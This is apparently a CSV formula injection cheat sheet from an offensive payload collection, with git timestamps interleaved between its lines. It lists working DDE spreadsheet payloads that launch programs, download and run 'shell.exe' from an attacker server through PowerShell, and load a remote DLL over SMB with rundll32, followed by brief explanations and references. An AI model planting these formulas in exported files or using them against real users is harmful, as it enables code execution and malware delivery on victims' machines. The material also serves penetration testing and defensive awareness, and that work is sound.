2018-12-26 01:02:17 +01:00
# CSV Injection (Formula Injection)
2018-08-12 23:30:22 +02:00
2018-08-13 12:01:13 +02:00
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
2016-10-18 15:01:56 +07:00
2016-10-20 10:50:12 +07:00
## Exploit
2016-10-18 15:01:56 +07:00
2018-08-13 12:01:13 +02:00
Basic exploit with Dynamic Data Exchange
2018-08-12 23:30:22 +02:00
```powershell
2019-06-09 20:53:41 +02:00
# pop a calc
2016-10-20 10:50:12 +07:00
DDE ("cmd";"/C calc";"!A0")A0
@SUM (1+1)*cmd|' /C calc'!A0
2019-06-16 23:45:52 +02:00
=2+5+cmd|' /C calc'!A0
2019-06-09 20:53:41 +02:00
# pop a notepad
2018-12-26 01:02:17 +01:00
=cmd|' /C notepad'!'A1'
2019-06-09 20:53:41 +02:00
# powershell download and execute
2018-12-26 01:02:17 +01:00
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2019-06-09 20:53:41 +02:00
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
2018-08-12 23:30:22 +02:00
```
2016-10-20 10:50:12 +07:00
Technical Details of the above payload:
2018-12-26 01:02:17 +01:00
- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
2016-10-20 10:50:12 +07:00
Any formula can be started with
2018-08-12 23:30:22 +02:00
```powershell
2016-10-20 10:50:12 +07:00
=
+
–
@
2016-10-18 15:01:56 +07:00
```
2018-12-24 15:02:50 +01:00
## References
2018-08-12 23:30:22 +02:00
* [OWASP - CSV Excel Macro Injection ](https://owasp.org/index.php/CSV_Excel_Macro_Injection )
* [Google Bug Hunter University - CSV Excel formula injection ](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection )
2018-12-26 01:02:17 +01:00
* [Comma Separated Vulnerabilities - James Kettle ](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ )
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani ](https://payatu.com/csv-injection-basic-to-exploit/ )
2019-06-16 23:45:52 +02:00
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester ](https://blog.xpnsec.com/from-csv-to-meterpreter/ )
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy ](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf )
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer ](http://georgemauer.net/2017/10/07/csv-injection.html )